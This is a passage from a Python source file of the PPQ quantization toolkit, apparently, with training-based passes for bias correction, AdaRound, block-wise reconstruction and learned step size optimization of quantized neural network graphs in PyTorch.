is_reference=True)\n\n # restore quantization state:\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.restore_quantize_state()\n \n # update state\n verbose, self._verbose = self._verbose, False\n self.check(executor=executor, dataloader=dataloader, collate_fn=collate_fn)\n self._verbose = verbose\n\n def check(self, executor: BaseGraphExecutor,\n dataloader: Iterable, collate_fn: Callable):\n \"\"\"\n Check quantization error with a given dataloader with current checkpoints.\n Return whether quantization error is lower than before.\n\n Args:\n executor (BaseGraphExecutor): [description]\n dataloader (Iterable): [description]\n collate_fn (Callable): [description]\n\n Returns:\n [type]: [description]\n \"\"\"\n \n # step - 1, collecting data\n for data in dataloader:\n if collate_fn is not None: data = collate_fn(data)\n outputs = executor.forward(inputs=data, output_names=self._interested_outputs)\n for name, output in zip(self._interested_outputs, outputs):\n self._checkpoints[name].push(tensor=output, is_reference=False)\n\n # step - 2, calculating loss\n losses = []\n for name in self._interested_outputs:\n ckpt = self._checkpoints[name]\n assert isinstance(ckpt, FinetuneCheckPoint)\n qt_out, fp_out = ckpt.pop()\n qt_out = torch.cat([tensor for tensor in qt_out])\n fp_out = torch.cat([tensor for tensor in fp_out])\n losses.append(self._loss_fn(y_pred=qt_out, y_real=fp_out).item())\n ckpt.clear()\n\n # step - 3, comparing loss\n loss_now, loss_old = sum(losses), sum([ckpt.best_loss for ckpt in self._checkpoints.values()])\n loss_now, loss_old = loss_now / len(losses), loss_old / len(losses)\n if self._verbose: print(f'NOISE-SIGNAL RATIO: {loss_old * 100 :.4f}% -> {loss_now * 100:.4f}%.')\n\n # if there is a loss drop, update all losses.\n if loss_old > (loss_now * CHECKPOINT_TOLERANCE):\n for idx, name in enumerate(self._interested_outputs):\n ckpt = self._checkpoints[name]\n assert isinstance(ckpt, FinetuneCheckPoint)\n ckpt.best_loss = losses[idx]\n return True\n return False\n\n def optimize(\n self, processer: GraphCommandProcesser,\n dataloader: Iterable, executor: BaseGraphExecutor, **kwargs) -> None:\n raise NotImplementedError('Can not invoke this function. '\n 'Please inherit this class and give an implmenetation to override this function.')\n\n def dequantize_immediately(self, operation: Operation):\n \"\"\"\n Dequantize an operation inplace, use this function carefully.\n if parameter value has been changed during your optimization procedure,\n then it is not safe to dequantize an operation via this function,\n use operation.dequantize to load stored fp32 value instead.\n \n This function will change quantization state to dequantize an operation,\n Only quantization state will be changed by this function so that it is\n extremely fast.\n \n If your parameter value has already been baked, an exception will be thrown.\n Args:\n operation (Operation): [description]\n \"\"\"\n if isinstance(operation, QuantableOperation):\n for cfg, _ in operation.config_with_variable:\n assert cfg.state not in {QuantizationStates.BAKED, QuantizationStates.PASSIVE_BAKED}, (\n 'Value has already been baked, can not dequantize it via this function.')\n\n if cfg not in self._quant_state_recorder:\n self._quant_state_recorder[cfg] = cfg.state\n cfg.state = QuantizationStates.DEQUANTIZED\n\n def quantize_immediately(self, operation: Operation):\n \"\"\"\n Restore quantization state of an operation, use this function carefully.\n if parameter value has been changed during your optimization procedure,\n then it is not safe to restore state via this function,\n use operation.restore_quantize_state to load stored quant value instead.\n\n This function will change quantization state to quantize an operation,\n Only quantization state will be changed by this function so that it is\n extremely fast.\n\n If your parameter value has already been baked, an exception will be thrown.\n Args:\n operation (Operation): [description]\n \"\"\"\n if isinstance(operation, QuantableOperation):\n for cfg, _ in operation.config_with_variable:\n if cfg in self._quant_state_recorder:\n stored_state = self._quant_state_recorder[cfg]\n cfg.state = stored_state\n self._quant_state_recorder.pop(cfg)\n\n def dequantize_graph_immediately(self, graph: BaseGraph):\n \"\"\"\n Dequantize entire graph inplace, use this function carefully.\n if parameter value has been changed during your optimization procedure,\n then it is not safe to dequantize graph via this function, as this function \n only changes quantization state to dequantize entire graph.\n\n If your parameter value has already been baked, an exception will be thrown.\n Args:\n operation (Operation): [description]\n \"\"\"\n for operation in graph.operations.values():\n self.dequantize_immediately(operation)\n\n def quantize_graph_immediately(self, graph: BaseGraph):\n \"\"\"\n Restore quantization state of entire graph, use this function carefully.\n if parameter value has been changed during your optimization procedure,\n then it is not safe to restore state via this function.\n\n If your parameter value has already been baked, an exception will be thrown.\n Args:\n operation (Operation): [description]\n \"\"\"\n for operation in graph.operations.values():\n self.quantize_immediately(operation)\n \n\nclass BiasCorrectionPass(TrainingBasedPass):\n def __init__(self, auto_check: bool=False, interested_output: List[str] = None, \n verbose: bool = True, max_steps:int = 8) -> None:\n \"\"\"\n Quantization can introduce a biased error in the activations.\n Bias correction serves as a useful prosedure to eliminate those introduced bias error.\n\n let: Y = WX + b\n Quant(Y) = Qunat(W) Quant(X) + b\n \n bias_error = reduce_mean(Y - Quant(Y))\n \n Correct bias by: b = b + bias_error\n \n Args:\n quantize_function (BaseQuantFunction): [description]\n auto_check (bool, optional): [description]. Defaults to False.\n \"\"\"\n super().__init__(name='PPQ Bias Correction Pass', \n interested_outputs=interested_output, verbose=verbose)\n self._auto_check = auto_check\n self._max_steps = max_steps\n\n @ empty_ppq_cache\n def optimize(\n self,\n processer: GraphCommandProcesser,\n dataloader: Iterable,\n executor: BaseGraphExecutor,\n collate_fn: Callable,\n **kwargs\n ) -> None:\n def collect_bias(output: torch.Tensor, collector: list, op_type: str):\n if op_type in {'Conv', 'ConvTranspose'}: \n collector.append(torch.mean(output, dim=(0, 2, 3)).unsqueeze(0))\n elif op_type in {'Gemm'}: \n collector.append(torch.mean(output, dim=(0, )).unsqueeze(0))\n else: raise TypeError(f'Unsupported Operation type: {op_type}')\n\n assert isinstance(executor, TorchExecutor), (\n 'PPQ Training-based optimization algorithm needs a TorchExecutor.')\n \n if self._auto_check:\n self.initialize_checkpoints(graph=processer.graph, executor=executor, \n dataloader=dataloader, collate_fn=collate_fn) \n \n for idx, operation in tqdm(enumerate(executor._executing_order), \n desc='Bias Correction Procedure ...', \n total=len(executor._executing_order)):\n assert isinstance(operation, Operation)\n if not has_bias(operation): continue\n \n bias, output_var = operation.inputs[-1].value, operation.outputs[0]\n qt_collector, fp_collector = [], []\n\n for idx, data in enumerate(dataloader):\n if collate_fn is not None: data = collate_fn(data)\n [output] = executor.forward(inputs=data, output_names=[output_var.name])\n collect_bias(output, qt_collector, op_type=operation.type)\n if idx >= self._max_steps: break\n self.dequantize_immediately(operation)\n \n for idx, data in enumerate(dataloader):\n if collate_fn is not None: data = collate_fn(data)\n [output] = executor.forward(inputs=data, output_names=[output_var.name])\n collect_bias(output, fp_collector, op_type=operation.type)\n if idx >= self._max_steps: break\n self.quantize_immediately(operation)\n\n bias_error = (torch.mean(torch.cat(fp_collector), dim=0) - torch.mean(torch.cat(qt_collector), dim=0))\n if self._auto_check:\n backup = bias.clone()\n operation.inputs[-1].value = bias + bias_error\n if not self.check(executor=executor, dataloader=dataloader, collate_fn=collate_fn):\n operation.inputs[-1].value = backup\n else: operation.inputs[-1].value = bias + bias_error\n\n\nclass AdaRoundPass(QuantizationOptimizationPass):\n def __init__(self,\n collecting_device: str = 'cpu',\n epoch: int = 512,\n batch_size: int = 32) -> None:\n super().__init__(name='PPQ AdaRound Pass')\n self._collecting_device = collecting_device\n self.epoch = epoch\n self.batch_size = batch_size\n\n @ empty_ppq_cache\n def optimize(\n self,\n processer: GraphCommandProcesser,\n dataloader: Iterable,\n executor: BaseGraphExecutor,\n collate_fn: Callable,\n **kwargs\n ) -> None:\n assert isinstance(executor, TorchExecutor), ('PPQ Training-based optimization algorithm needs a TorchExecutor.')\n graph = processer.graph\n sorted_ops = graph.topological_sort()\n for idx, target_op in tqdm(enumerate(sorted_ops), desc='AdaRound...', total=len(graph.operations)):\n if not isinstance(target_op, QuantableOperation): continue\n if not target_op.type in {'Conv', 'ConvTranspose', 'Gemm'}: continue\n\n fp_outputs, quant_inputs = [], []\n interested_var = (target_op.inputs[0].name, target_op.outputs[0].name)\n\n for op in sorted_ops[: idx + 1]:\n if isinstance(op, QuantableOperation): op.dequantize()\n for data in tqdm(dataloader, desc='AdaRound Procedure 1', total=len(dataloader)):\n if collate_fn is not None: data = collate_fn(data)\n fp_input, fp_output = executor.forward(inputs=data, output_names=interested_var)\n fp_outputs.append(fp_output)\n fp_weight = target_op.parameters[0].value.clone()\n\n for op in sorted_ops[: idx + 1]:\n if isinstance(op, QuantableOperation): op.restore_quantize_state()\n for data in tqdm(dataloader, desc='AdaRound Procedure 2', total=len(dataloader)):\n if collate_fn is not None: data = collate_fn(data)\n quant_input, _ = executor.forward(inputs=data, output_names=interested_var)\n quant_inputs.append(quant_input)\n\n fp_outputs_concat = torch.cat(fp_outputs)\n quant_inputs_concat = torch.cat(quant_inputs)\n weight, bias = target_op.parameters[0].value, None\n if target_op.num_of_input == 3:\n bias = target_op.parameters[1].value\n bias = bias.clone()\n weight = weight.clone()\n params = [weight, bias] if bias is not None else [weight]\n for param in params: param.requires_grad = True\n\n print ('Adaround optimize {}'.format(target_op.name))\n weight_quantization_config = target_op.config.input_quantization_config[1].dominated_by\n weight_scale = weight_quantization_config.scale\n weight_offset = weight_quantization_config.offset\n\n max_iter = self.epoch * fp_outputs_concat.shape[0] / self.batch_size\n reg = AdaroundRegTerm(max_iter)\n\n # per-channel scale preprocess\n if weight_quantization_config.policy.has_property(QuantizationProperty.PER_CHANNEL):\n view_shape = [\n 1 if axis != weight_quantization_config.channel_axis else -1\n for axis in range(fp_weight.ndim)]\n weight_scale = weight_scale.view(view_shape)\n weight_offset = weight_offset.view(view_shape)\n\n # init continuous_v, make sure h(v) = round_diff\n round_diff = (fp_weight / weight_scale) - (fp_weight / weight_scale).floor()\n v_init = -torch.log((reg.zeta - reg.gamma) / (round_diff - reg.gamma) - 1)\n continuous_v = torch.nn.Parameter(v_init.to(executor._device), True)\n optimizer = torch.optim.Adam([continuous_v])\n\n cur_iter = 0\n data_len = quant_inputs_concat.shape[0]\n for ep_idx in range(self.epoch):\n batch_num = int(ceil(data_len / self.batch_size))\n # shuffle data\n index = np.arange(data_len)\n np.random.shuffle(index)\n for idx in range(batch_num):\n st = idx * self.batch_size\n ed = min(st + self.batch_size, data_len)\n\n # soft AdaRound quant weight\n params[0] = self.adaround_quant_weight(fp_weight, weight_scale, weight_offset, weight_quantization_config, continuous_v)\n in_snap = [ quant_inputs_concat[index[st:ed,]] ]\n [quant_output] = executor.operation_forward(target_op, inputs=in_snap + params)\n fp32_output = fp_outputs_concat[index[st:ed],]\n\n loss = Lp_norm(fp32_output, quant_output) + reg(continuous_v, cur_iter)\n optimizer.zero_grad()\n loss.backward(retain_graph=True)\n optimizer.step()\n cur_iter += 1\n\n if ep_idx % 100 == 0:\n print(\"Epoch: {:<4} L2 Loss: {:>10.3f} Beta: {:>3.3f}\".format(ep_idx, loss, reg.beta))\n h_v = AdaroundRegTerm().rectified_sigmoid(continuous_v)\n print(\"Loss: {:>5.3f} Ceil: {:>5} Floor: {:>5} Total: {:>5} Ratio: {:>.3f}\".format(\n loss,\n h_v[h_v + 1e-4 >= 1.0].numel(), h_v[h_v <= 1e-4].numel(), torch.numel(h_v),\n (h_v[h_v + 1e-4 >= 1.0].numel() + h_v[h_v <= 1e-4].numel()) / torch.numel(h_v)))\n\n # update weight\n rounded_weight = self.adaround_quant_weight(fp_weight, weight_scale, weight_offset, weight_quantization_config, continuous_v, soft=False)\n target_op.parameters[0].value.copy_(rounded_weight)\n del fp_outputs_concat\n del quant_inputs_concat\n target_op.config.input_quantization_config[1].state = QuantizationStates.ACTIVATED\n if bias is not None:\n target_op.parameters[1].value.copy_(bias)\n target_op.config.input_quantization_config[-1].state = QuantizationStates.PASSIVE\n\n def adaround_quant_weight(self, weight, scale, offset, weight_quantization_config, round_var, soft=True):\n quant_max = weight_quantization_config.quant_max\n quant_min = weight_quantization_config.quant_min\n if soft:\n weight = (weight / scale).floor() + AdaroundRegTerm().rectified_sigmoid(round_var)\n else:\n weight = (weight / scale).floor() + (round_var >= 0).float()\n weight = torch.clamp(weight + offset, quant_min, quant_max)\n weight = (weight - offset) * scale\n return weight\n\n\nclass BlockwiseReconstructionPass(TrainingBasedPass):\n \"\"\"Blockwise Reconstruction Pass, blockwisely perform adaround, if you specify interested_layers in the setting, \n then only block which containes any of operations specified in interested_layers will be optimized, otherwise all\n searched blocks will be optimized.\n\n A standard procedure is, first turn all training-based optimization passes off in your quantization setting and\n run a plain quantization, then use error analysis tool(provided by ppq) to analysis snr error or cosine similarities\n of every layer, choose names of those with significant snr or poor similarities as your interested_layers, then turn\n on this pass and do optimization. In case you have no idea which layers should be selected as interested_layers, simply\n leave it as blank and all blocks will be tuned.\n\n Note that you could control the maximum number of operations in a block by setting OPTIM_ADVOPT_GRAPH_MAXSIZE in\n ppq.core.common, and by default every block will be trained for 300 epochs, which takes certain long time. The optimization\n goal of every block is\n\n Loss = LpNormLoss(y, y^) + lamda * rounding_loss(v)\n\n where y is the output of the current block running in fp32 mode, and y^ is the output of the current block running\n in quant mode, lamda is a hyperparameter adjusting scales of rounding loss, and v is the element-wise rounding\n parameter applied to weights of every computing op in the block.\n \"\"\"\n def __init__(self,\n name: str = 'Block-wise Reconstruction',\n interested_layers: List[str] = [],\n tune_act_scale: bool = True,\n epochs: int = 300,\n lr: float = 1e-3,\n lamda: float = 1.0,\n scale_multiplier: float = 2.0\n ) -> None:\n super().__init__(name = name)\n self.interested_layers = interested_layers\n self.tune_act_scale = tune_act_scale\n self.epochs = epochs\n self.lr = lr\n self.lamda = lamda\n self.scale_multuplier = scale_multiplier\n\n\n def initiate_block_params(self,\n block: TrainableBlock,\n reg: AdaroundRegTerm,\n device: Union[str, torch.device]\n ) -> Dict[TensorQuantizationConfig, BlockwiseReconstructionDelegator]:\n params = {}\n for op in block.rps:\n if isinstance(op, QuantableOperation):\n for (cfg, var) in op.config_with_variable:\n if (not self.tune_act_scale and not var.is_parameter) or cfg in params:\n continue\n masters = []\n scale_multiplier = 1.0\n if cfg.state == QuantizationStates.PASSIVE:\n # bias\n if op.is_computing_op:\n scale_multiplier = self.scale_multuplier\n for cfg_ in op.config.input_quantization_config[:2]:\n if cfg_.dominated_by in params:\n masters.append(params[cfg_.dominated_by])\n else:\n scale_multiplier *= convert_any_to_torch_tensor(cfg_.scale,\\\n device=device, dtype=torch.float32)\n\n delegator = BlockwiseReconstructionDelegator(var, cfg, reg, scale_multiplier, device)\n delegator.masters = masters\n params[cfg] = delegator\n \n # for those vars who controls their own scales and offsets\n elif cfg.state == QuantizationStates.ACTIVATED:\n delegator = BlockwiseReconstructionDelegator(var, cfg, reg, scale_multiplier, device)\n params[cfg] = delegator\n elif cfg.state == QuantizationStates.SLAVE and cfg.dominated_by == cfg:\n delegator = BlockwiseReconstructionDelegator(var, cfg, reg, scale_multiplier, device)\n params[cfg] = delegator\n for op_ in block.rps:\n if isinstance(op_, QuantableOperation):\n for (cfg_, var_) in op_.config_with_variable:\n if cfg_.state == QuantizationStates.SLAVE and cfg_.dominated_by == cfg:\n delegator_ = BlockwiseReconstructionDelegator(var_, cfg_, reg, scale_multiplier, device)\n delegator_.masters = [delegator]\n params[cfg_] = delegator_\n\n return params\n\n\n def tune_block_weight_scale(self,\n block: TrainableBlock,\n device: Union[str, torch.device],\n epochs: int=900\n ) -> None:\n # before we tune weight roundings and activation scales, we optimize weight scale by\n # minimizing MSE(W, W^), 900 epochs would be enough in this non-overfit setting. Note\n # that this is usually unnecessary in 8 bit quantization, but we do it it anyway and\n # the loss checking procedure makes sure we always obtain no worse results.\n for op in block.rps:\n if op.is_computing_op and isinstance(op, QuantableOperation):\n logger.info(f'Tune weight scale for {op.name} ...')\n cfg = op.config.input_quantization_config[1]\n weight = op.inputs[1].value\n assert cfg.state == QuantizationStates.ACTIVATED, 'the config of weight param\\\n should be ACTIVATED for tuning'\n delegator = StraightThroughEstimateDelegator(cfg, True, 1.0, device)\n params = delegator.collect_params()\n optimizer = torch.optim.Adam(params, lr=1e-3)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [int(epochs / 2), int(epochs * 2 / 3)])\n initial_loss, final_loss = None, None\n for _ in range(epochs):\n loss = torch_mean_square_error(delegator(weight, cfg), weight, reduction='sum')\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n if initial_loss is None:\n initial_loss = loss.detach().item()\n final_loss = loss.detach().item()\n scheduler.step()\n if final_loss < initial_loss:\n delegator.finalize()\n\n def optimize(self,\n processer: GraphCommandProcesser,\n dataloader: Iterable,\n executor: TorchExecutor,\n collate_fn: Callable,\n **kwargs\n ) -> None:\n graph = processer.graph\n all_blocks = find_all_blocks(graph, executor._executing_order)\n for blk_idx, block in enumerate(all_blocks):\n # if interested_layers are not empty, we only optimize block which contains\n # desired ops specified in interested_layers\n if len(self.interested_layers) > 0 and all([op.name not in self.interested_layers for op in block.rps]):\n continue\n\n logger.info(f'Optimize block {blk_idx + 1}/{len(all_blocks)} : {block.sp.name} -> ... -> {block.ep.name}, '\n f'{len(block.rps)} ops in total')\n # tune weight scale first\n output_names = [var.name for var in block.ep.outputs]\n\n self.tune_block_weight_scale(block, executor._device)\n\n # compute original loss for loss checking\n logger.info('Computing Original Loss ...')\n original_loss = compute_loss(output_names, graph, \\\n dataloader, collate_fn, executor, loss_fn=Lp_norm)\n original_loss = sum(list(original_loss.values()))\n\n # rounding loss intialization\n reg = AdaroundRegTerm(max_iter=len(dataloader) * self.epochs)\n all_params = self.initiate_block_params(block, reg, executor._device)\n scale_params, continue_vs = [], []\n \n # collect rounding parameters for rounding loss computing,\n # and all gradient-needed parameters for optimization\n for (cfg, delegator) in all_params.items():\n if delegator.rounding is not None:\n continue_vs.append(delegator.rounding)\n if self.tune_act_scale and not delegator.is_parameter:\n scale_params.extend(delegator.collect_params())\n executor.register_quantize_delegate(cfg, delegator)\n\n optimizers, schedulers = [torch.optim.Adam(continue_vs, lr=self.lr)], []\n if self.tune_act_scale and len(scale_params) > 0:\n # refer to implementation details in brecq paper\n scale_optimizer = torch.optim.Adam(scale_params, lr=4e-5)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(scale_optimizer, \\\n T_max=len(dataloader) * self.epochs, eta_min=0.)\n optimizers.append(scale_optimizer)\n schedulers.append(scheduler)\n\n cur_iter = 0\n for epoch in tqdm(range(self.epochs), desc=f'Optimize block {blk_idx + 1}/{len(all_blocks)}', total=self.epochs):\n epoch_rounding_loss = 0.0\n epoch_reconstruction_loss = {name: 0.0 for name in output_names}\n for idx, data in enumerate(dataloader):\n if collate_fn is not None:\n data = collate_fn(data)\n dequantize_graph(graph)\n fp_outputs = executor.forward(data, output_names)\n restore_quantization_state(graph)\n quant_outputs = executor.forward_with_gradient(data, output_names)\n reconstruction_loss = 0.0\n for (name, fp_output, quant_output) in zip(output_names, fp_outputs, quant_outputs):\n loss = Lp_norm(fp_output, quant_output)\n reconstruction_loss += loss\n epoch_reconstruction_loss[name] += loss.detach().item()\n rounding_loss = torch.tensor(0.0, dtype=torch.float32, device=executor._device)\n for continue_v in continue_vs:\n rounding_loss = rounding_loss + reg(continue_v, cur_iter)\n rounding_loss = self.lamda * rounding_loss\n total_loss = reconstruction_loss + rounding_loss\n for optimizer in optimizers:\n optimizer.zero_grad()\n total_loss.backward()\n for optimizer in optimizers:\n optimizer.step()\n epoch_rounding_loss += rounding_loss.detach().item()\n cur_iter += 1\n\n for scheduler in schedulers:\n scheduler.step()\n\n for name in epoch_reconstruction_loss:\n logger.debug(f'Epoch {epoch + 1} || output variable {name} || reconstruction loss = '\n f'{epoch_reconstruction_loss[name] / (idx + 1) :.5f}')\n\n avg_recon_loss = sum(list(epoch_reconstruction_loss.values())) / (idx + 1)\n avg_rounding_loss = epoch_rounding_loss / (idx + 1)\n logger.debug(f'Epoch {epoch + 1} || reconstruction loss {avg_recon_loss :.5f}'\n f' || rounding loss {avg_rounding_loss :.5f}')\n\n early_stop_flag = 1\n for _,continue_v in enumerate(continue_vs):\n h_v = continue_v.detach()\n logger.debug(\"Rounding var {} Ceil: {:>5} Floor: {:>5} Total: {:>5} Ratio: {:>.3f}\".format(\n _ + 1, h_v[h_v + 1e-4 >= 1.0].numel(), h_v[h_v <= 1e-4].numel(), torch.numel(h_v),\n (h_v[h_v + 1e-4 >= 1.0].numel() + h_v[h_v <= 1e-4].numel()) / torch.numel(h_v))\n )\n early_stop_flag &= ((h_v[h_v + 1e-4 >= 1.0].numel() + h_v[h_v <= 1e-4].numel()) / torch.numel(h_v) > 0.9999)\n \n if early_stop_flag:\n break\n \n if early_stop_flag:\n logger.info('Already converged, stop training...')\n\n logger.info(f'Original Reconstruction Loss {original_loss} || Optimized Reconstruction loss {avg_recon_loss}')\n if avg_recon_loss < original_loss:\n for (cfg, delegator) in all_params.items():\n delegator.finalize()\n else:\n logger.warning('Loss increased, abandon trained values...')\n\n for (cfg, delegator) in all_params.items():\n executor.remove_quantize_delegate(cfg)\n \n # process passive parameter of Pad or Clip for coherence\n for op in block.rps:\n if isinstance(op, QuantableOperation) and op.type == 'Clip':\n input_config = op.config.input_quantization_config[0].dominated_by\n for config in op.config.input_quantization_config[1: ]:\n config.scale = input_config.scale\n config.offset = input_config.offset\n elif isinstance(op, QuantableOperation) and op.type == 'Pad':\n if op.num_of_input != 3: continue\n input_config = op.config.input_quantization_config[0].dominated_by\n pad_config = op.config.input_quantization_config[-1]\n pad_config.scale = input_config.scale\n pad_config.offset = input_config.offset\n\n\nclass LearningStepSizeOptimization(TrainingBasedPass):\n \"\"\"Learned Step Size optimization, a training-based optimization pass which tunes weight, weight scale, weight offset\n (aym quantization) and activation scale, activation offset(asym quantization) of computing layers. \n \n You can perform a graphwise optimization which optimizes parameters of every block all together by setting mode to\n global, or layerwise/blockwise optimization which optimizes in local range by setting mode to local. Similar to block-wise\n reconstruction pass, interested_layers contains computing layers which suffers from large precision loss introduced by\n quantization, and if it's not specified, this pass will try to tune all condition-satisfied comptuing layers.\n\n In global mode, if the param output_names is not specified, then every graph output will be used to compute final loss, \n note that in some cases gradient can't flow back from graph outputs all the way back to every computing ops, then you \n should specify output_names by choosing variables which guarantee valid gradient backward to every computing op specified\n in the interested_layers.\n \n When the graph structure becomes more complicated or the global mode gets overfitting effect, you might prefer the\n local mode, where scales and offsets are tuned blockwisely and you don't have to specify names of output variables.\n \n For more information about step learning algorithm, please refer to\n Esser, Steven K., et al. \"Learned step size quantization.\" arXiv preprint arXiv:1902.08153 (2019).\n \"\"\"\n def __init__(self,\n name: str = 'PPQ LSQ Optimization',\n interested_layers: List[str] = [],\n interested_layers_only: bool = False,\n output_names: List[str] = [],\n loss_weights: Dict[str, float] = {},\n epochs: int = 30,\n lr: float = 5e-5,\n scale_multiplier: float = 2,\n mode: str = 'global'\n ) -> None:\n super().__init__(name=name)\n self.interested_layers = interested_layers\n self.interested_layers_only = interested_layers_only\n self.output_names = output_names\n self.loss_weights = loss_weights\n self.epochs = epochs\n self.lr = lr\n self.scale_multiplier = scale_multiplier\n self.mode = mode\n\n def initiate_param(self,\n block: TrainableBlock,\n device: Union[str, torch.device]\n ) -> Dict[TensorQuantizationConfig, StraightThroughEstimateDelegator]:\n params = {}\n for op in block.rps:\n if isinstance(op, QuantableOperation):\n for (cfg, var) in op.config_with_variable:\n scale_multiplier = 1.0\n masters = []\n if cfg.state == QuantizationStates.PASSIVE and op.is_computing_op:\n scale_multiplier = self.scale_multiplier\n for cfg_ in op.config.input_quantization_config[:2]:\n if cfg_.dominated_by in params:\n masters.append(params[cfg_.dominated_by])\n else:\n scale_multiplier *= convert_any_to_torch_tensor(cfg_.scale,\\\n device=device, dtype=torch.float32)\n delegator = StraightThroughEstimateDelegator(cfg, var.is_parameter, scale_multiplier, device)\n delegator.masters = masters\n params[cfg] = delegator\n\n elif cfg.state == QuantizationStates.ACTIVATED:\n delegator = StraightThroughEstimateDelegator(cfg, var.is_parameter, scale_multiplier, device)\n params[cfg] = delegator\n elif cfg.state == QuantizationStates.SLAVE and cfg.dominated_by == cfg:\n delegator = StraightThroughEstimateDelegator(cfg, var.is_parameter, scale_multiplier, device)\n params[cfg] = delegator\n for op_ in block.rps:\n if isinstance(op_, QuantableOperation):\n for (cfg_, var_) in op_.config_with_variable:\n if cfg_.state == QuantizationStates.SLAVE and cfg_.dominated_by == cfg:\n delegator_ = StraightThroughEstimateDelegator(cfg_, var_.is_parameter, scale_multiplier, device)\n delegator_.masters = [delegator]\n params[cfg_] = delegator_\n\n return params\n\n def enable_grad(self, block: TrainableBlock) -> None:\n for op in block.rps:\n if isinstance(op, QuantableOperation) and op.is_computing_op:\n for var in op.inputs[1:]:\n var.value.requires_grad = True\n \n def disable_grad(self, block: TrainableBlock) -> None:\n for op in block.rps:\n if isinstance(op, QuantableOperation) and op.is_computing_op:\n for var in op.inputs[1:]:\n var.value.requires_grad = False\n\n def recover(self, block: TrainableBlock) -> None:\n for op in block.rps:\n if isinstance(op, QuantableOperation):\n op.dequantize()\n op.store_parameter_value()\n op.restore_quantize_state()\n\n def LSQ_optimize_local(self,\n blocks: List[TrainableBlock],\n graph: BaseGraph,\n dataloader: Iterable,\n collate_fn: Callable,\n executor: TorchExecutor\n ) -> None:\n for blk_idx, blk in enumerate(blocks):\n output_names = [var.name for var in blk.ep.outputs]\n logger.info(f'Optimizing block {blk.sp.name} --> ... --> {blk.ep.name}, total {len(blk.rps)} ops')\n logger.info('Computing Original Loss ...')\n original_loss = compute_loss(output_names, graph, dataloader, collate_fn, executor)\n params = self.initiate_param(blk, executor._device)\n block_params = []\n self.enable_grad(blk)\n for op in blk.rps:\n if isinstance(op, QuantableOperation) and op.is_computing_op:\n for var in op.inputs[1:]:\n block_params.append(var.value)\n for (cfg, delegator) in params.items():\n executor.register_quantize_delegate(cfg, delegator)\n block_params.extend(delegator.collect_params())\n \n optimizer = torch.optim.Adam([param for param in block_params if param.requires_grad], lr=self.lr)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [int(self.epochs / 2), int(self.epochs * 2 / 3)])\n\n for _ in tqdm(range(self.epochs), total=self.epochs, desc=f'Optimize block {blk_idx + 1}/{len(blocks)}'):\n epoch_loss = {name: 0.0 for name in output_names}\n for idx,data in enumerate(dataloader):\n if collate_fn is not None:\n data = collate_fn(data)\n dequantize_graph(graph)\n fp_outputs = executor.forward(data, output_names)\n restore_quantization_state(graph)\n quant_outputs = executor.forward_with_gradient(data, output_names)\n optimizer.zero_grad()\n batch_loss = 0.0\n for name, fp_output, quant_output in zip(output_names, fp_outputs, quant_outputs):\n loss = torch_mean_square_error(fp_output, quant_output)\n batch_loss += loss\n epoch_loss[name] += loss.detach().item()\n batch_loss.backward()\n optimizer.step()\n scheduler.step()\n for name in epoch_loss:\n logger.debug(f'Epoch {_ + 1} || output variable {name} || avg MSE loss = {epoch_loss[name] / (idx + 1) :.5f}')\n logger.debug(f'Total avg MSE loss {sum(list(epoch_loss.values())) / (idx + 1) :.5f}')\n\n original_block_loss = sum(list(original_loss.values()))\n lsq_block_loss = sum(list(epoch_loss.values())) / (idx + 1)\n logger.info(f'Original Loss {original_block_loss :.5f} || Optimized Loss {lsq_block_loss :.5f}')\n\n for cfg, delegator in params.items():\n if lsq_block_loss < original_block_loss:\n delegator.finalize()\n executor.remove_quantize_delegate(cfg)\n \n self.disable_grad(blk)\n if original_block_loss < lsq_block_loss:\n logger.warning('Loss not improved, abandon trained values...')\n self.recover(blk)\n\n\n def LSQ_optimize_global(self,\n blocks: List[TrainableBlock],\n graph: BaseGraph,\n dataloader: Iterable,\n collate_fn: Callable,\n executor: TorchExecutor\n ) -> None:\n output_names = [name for name in graph.outputs] if len(self.output_names) == 0 else self.output_names\n logger.info('The following variable will be used for loss computing and gradient backward')\n logger.info(', '.join(output_names))\n logger.info('Computing Original Loss ...')\n original_loss = compute_loss(output_names, graph, dataloader, collate_fn, executor)\n\n all_params, trainable_params = {}, []\n for blk in blocks:\n all_params.update(self.initiate_param(blk, executor._device))\n self.enable_grad(blk)\n for op in blk.rps:\n if isinstance(op, QuantableOperation) and op.is_computing_op:\n trainable_params.extend([var.value for var in op.inputs[1:]])\n for cfg, delegator in all_params.items():\n executor.register_quantize_delegate(cfg, delegator)\n trainable_params.extend(delegator.collect_params())\n\n optimizer = torch.optim.Adam([param for param in trainable_params if param.requires_grad], lr=self.lr)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [int(self.epochs / 2), int(self.epochs * 2 / 3)])\n\n for _ in tqdm(range(self.epochs), total=self.epochs, desc='LSQ Global Optimize'):\n epoch_loss = {name: 0.0 for name in output_names}\n for idx,data in enumerate(dataloader):\n if collate_fn is not None:\n data = collate_fn(data)\n dequantize_graph(graph)\n fp_outputs = executor.forward(data, output_names)\n restore_quantization_state(graph)\n quant_outputs = executor.forward_with_gradient(data, output_names)\n optimizer.zero_grad()\n batch_loss = 0.0\n for name, fp_output, quant_output in zip(output_names, fp_outputs, quant_outputs):\n loss = torch_mean_square_error(fp_output, quant_output)\n batch_loss += self.loss_weights.get(name, 1.0) * loss\n epoch_loss[name] += loss.detach().item()\n batch_loss.backward()\n optimizer.step()\n scheduler.step()\n weighted_loss = 0.0\n for name in epoch_loss:\n epoch_loss[name] /= idx + 1\n weighted_loss += self.loss_weights.get(name, 1.0) * epoch_loss[name]\n logger.debug(f'Epoch {_ + 1} || Output variable {name} || Avg MSE loss = {epoch_loss[name]}')\n logger.debug(f'Epoch {_ + 1} || Weighted MSE loss = {weighted_loss}')\n \n weighted_original_loss = 0.0\n for name in original_loss:\n logger.info(f'{name} || Original Loss {original_loss[name] :.5f} || LSQ Loss {epoch_loss[name] :.5f}')\n weighted_original_loss += self.loss_weights.get(name, 1.0) * original_loss[name]\n logger.info(f'Original weighted loss {weighted_original_loss :.5f} || LSQ weighted loss {weighted_loss :.5f}')\n\n for cfg, delegator in all_params.items():\n if weighted_loss < weighted_original_loss:\n delegator.finalize()\n 